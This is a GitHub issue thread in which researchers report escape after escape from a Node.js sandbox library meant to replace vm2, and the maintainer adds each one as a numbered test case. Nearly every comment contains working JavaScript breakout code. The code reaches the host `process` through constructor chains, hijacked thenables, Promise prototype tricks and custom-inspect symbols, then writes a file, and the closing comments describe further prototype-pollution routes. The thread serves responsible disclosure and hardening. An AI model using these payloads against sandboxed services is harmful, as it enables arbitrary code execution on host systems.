wanjo-tech / vm2

replacement to the vm2 lib
8 stars 0 forks source link

escape camp #2

Closed j4k0xb closed 6 months ago

j4k0xb commented 7 months ago
process.on('unhandledRejection', (reason, promise) => {
  console.error('WARNING unhandledRejection', promise, 'reason:', reason);
});

var jevalx = async(js,ctx,timeout=60000,More=['process','Symbol','Error','eval','require'],vm=require('node:vm'),Wtf={})=>{
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}
  try{return await vm.createScript(js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})}
  catch(ex){throw ex}finally{for(var k in Wtf){globalThis[k]=Wtf[k]};}
};
void (async () => {
  await Promise.resolve();
  await Promise.resolve();
  this.constructor
    .constructor("return process")()
    .mainModule.require("fs")
    .writeFileSync("pwned", "");
})();
const customInspectSymbol = Symbol.for({
  toString: () => "nodejs.util.inspect.custom",
});

throw {
  [customInspectSymbol]: () => {
    this.constructor
      .constructor("return process")()
      .mainModule.require("fs")
      .writeFileSync("pwned", "");
  },
};
mgttt commented 6 months ago

done (s11)

h=console.log;
(async()=>{
  while(!(t=Promise.prototype.then)) await Promise.resolve();
  f=()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){t.call(Promise.resolve(),h.call.bind(f.call,f,0))}}
  f();
})();
1
XmiliaH commented 6 months ago
h=console.log;
f=async()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){await{then:h.call.bind(f.call,f,0)}}}
f();
1
mgttt commented 6 months ago

it is ok (s12) now, but it is not a good solution, will spend more time to look into.

h=console.log;
f=async()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){await{then:h.call.bind(f.call,f,0)}}}
f();
1
XmiliaH commented 6 months ago
h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:h.call.bind(f.call,f,0)}
f();
1
mgttt commented 6 months ago

done (s13) Notes: one more timeout call seems flush previous. I will investigate it more at Sunday to see if it is a trick to solve the ddos problem

h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:h.call.bind(f.call,f,0)}
f();
1
XmiliaH commented 6 months ago
f=m=>m.writeFileSync('pwned','');
import('').then.call=eval.bind(null,"import('fs').then(console.log.call.bind(f.call,f,0))()");
1
mgttt commented 6 months ago

done s14

f=m=>m.writeFileSync('pwned','');
import('').then.call=eval.bind(null,"import('fs').then(console.log.call.bind(f.call,f,0))()");
1
XmiliaH commented 6 months ago
h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:h.call.bind(h.call,f,0)}
f();
1
mgttt commented 6 months ago

ok now (s15)

h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:h.call.bind(h.call,f,0)}
f();
1
XmiliaH commented 6 months ago
h=console.log;
c=10;
h.call.bind=h.bind;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:h.call.bind(h.call,f,0)}
f();
1
mgttt commented 6 months ago

done s16

h=console.log;
c=10;
h.call.bind=h.bind;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:h.call.bind(h.call,f,0)}
f();
1
XmiliaH commented 6 months ago
h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[f].map(h.bind,h.call)[0]}
f();
1
mgttt commented 6 months ago

done s17;

h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[f].map(h.bind,h.call)[0]}
f();
1
XmiliaH commented 6 months ago
h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.call)[0]}
f();
1
mgttt commented 6 months ago

done s18;

h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.call)[0]}
f();
1
XmiliaH commented 6 months ago
h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
1
mgttt commented 6 months ago

done s19;

h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
1
XmiliaH commented 6 months ago
f=m=>m.writeFileSync('pwned','');
h=console.log;
import('').then.call=h.bind.call(eval, null,"import('fs').then(h.call.bind(h.call,f,0))");
1
mgttt commented 6 months ago

done s20

f=m=>m.writeFileSync('pwned','');
h=console.log;
import('').then.call=h.bind.call(eval, null,"import('fs').then(h.call.bind(h.call,f,0))");
1
XmiliaH commented 6 months ago
h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
throw 1;
mgttt commented 6 months ago

thanks, rollback the line of Promise_prototype_catch.call() (will do it later for that warning-message)

ok for now

h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
throw 1;
XmiliaH commented 6 months ago
h=console.log;
c=10;
import('').catch.call=1;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
throw 1;
mgttt commented 6 months ago

thanks, test case s24/s25 added.

done now;

h=console.log;
c=10;
import('').catch.call=1;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
throw 1;
XmiliaH commented 6 months ago
g=m=>m.writeFileSync('pwned','');
h=console.log;
c=10;
f=async()=>c--==0?(import('').then.call=h.bind.call(eval, null,"import('fs').then(h.call.bind(h.call,g,0))")):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
1
mgttt commented 6 months ago

Hi, added case s26 for this. but didn't see pwned file this time. Do you mind to show little more about your test command?

g=m=>m.writeFileSync('pwned','');
h=console.log;
c=10;
f=async()=>c--==0?(import('').then.call=h.bind.call(eval, null,"import('fs').then(h.call.bind(h.call,g,0))")):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
1
XmiliaH commented 6 months ago
throw{get code(){try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{throw this}}}
mgttt commented 6 months ago

done s27

throw{get code(){try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{throw this}}}
XmiliaH commented 6 months ago
throw((a=[1]).map=_=>a[0]-->0?a:{get code(){console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}},a);
mgttt commented 6 months ago

done s28

throw((a=[1]).map=_=>a[0]-->0?a:{get code(){console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}},a);
XmiliaH commented 6 months ago
h=console.log;
(a=[1]).map=_=>a;
x=h.call.bind(a.then=r=>{
    a.then=1;
    r(a);
    try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{a.then=x}
},0);
a
mgttt commented 6 months ago

done (s29,s30)

h=console.log;
(a=[1]).map=_=>a;
x=h.call.bind(a.then=r=>{
  a.then=1;
  r(a);
  try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{a.then=x}
},0);
a
XmiliaH commented 6 months ago
h=console.log;
(a=[1]).map=_=>a;
a.then=r=>(x=[(_,r)=>{
    console.log(_, r);
    a.then=1;
    r(a);
    try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{a.then=x}
}].map(h.bind,h.call)[0])(r);
a
mgttt commented 6 months ago

done s31

h=console.log;
(a=[1]).map=_=>a;
a.then=r=>(x=[(_,r)=>{
  console.log(_, r);
  a.then=1;
  r(a);
  try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{a.then=x}
}].map(h.bind,h.call)[0])(r);
a
XmiliaH commented 6 months ago

I will stop posting breakouts as it got boring. This does not mean that this is now secure. There are still breakouts. Not even speaking about the prototype pollution problems.

Here is the last one from me:

h=console.log;
Array.prototype.push=function(){this.then=r=>(x=[(_,r)=>{
    this.then=1;
    r(this);
    try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{this.then=x}
}].map(h.bind,h.call)[0])(r)};
[1]
mgttt commented 6 months ago

OK, thank you very much!

just one more question, may I know the prototype pollution problem refer to "prototype" or "__proto__"? Because the __proto__ seems already prevent by using defineProperty()

I will stop posting breakouts as it got boring. This does not mean that this is now secure. There are still breakouts. Not even speaking about the prototype pollution problems.

XmiliaH commented 6 months ago

First of all, __proto__ in the sandbox seems be allowed again, so you can just get the getter via __defineGetter__ or Object.getOwnPropertyDescriptors and use it on any object, including host objects to get the prototype and put a property on it.

Another way is to get a host error. Here in the thread were cases of e.g., RangeError and get the prototype there via .constructor.prototype and just write a property on it.

Furthermore, I would also count console.log.toString=... as prototype pollution. Here a function is pollutet and not realy a prototype, but it can have the same effect.

Also the __defineGetter__ seems to be allowed in the sandbox again which could be used to make then a getter again.

mgttt commented 6 months ago

Thank you again for the details all along

I did remove some code after test so-called passed, I'll try to improve the test skill and fix the problems you mentioned.

Have a nice day.

First of all, __proto__ in the sandbox seems be allowed again, so you can just get the getter via __defineGetter__ or Object.getOwnPropertyDescriptors and use it on any object, including host objects to get the prototype and put a property on it.

Another way is to get a host error. Here in the thread were cases of e.g., RangeError and get the prototype there via .constructor.prototype and just write a property on it.

Furthermore, I would also count console.log.toString=... as prototype pollution. Here a function is pollutet and not realy a prototype, but it can have the same effect.

Also the __defineGetter__ seems to be allowed in the sandbox again which could be used to make then a getter again.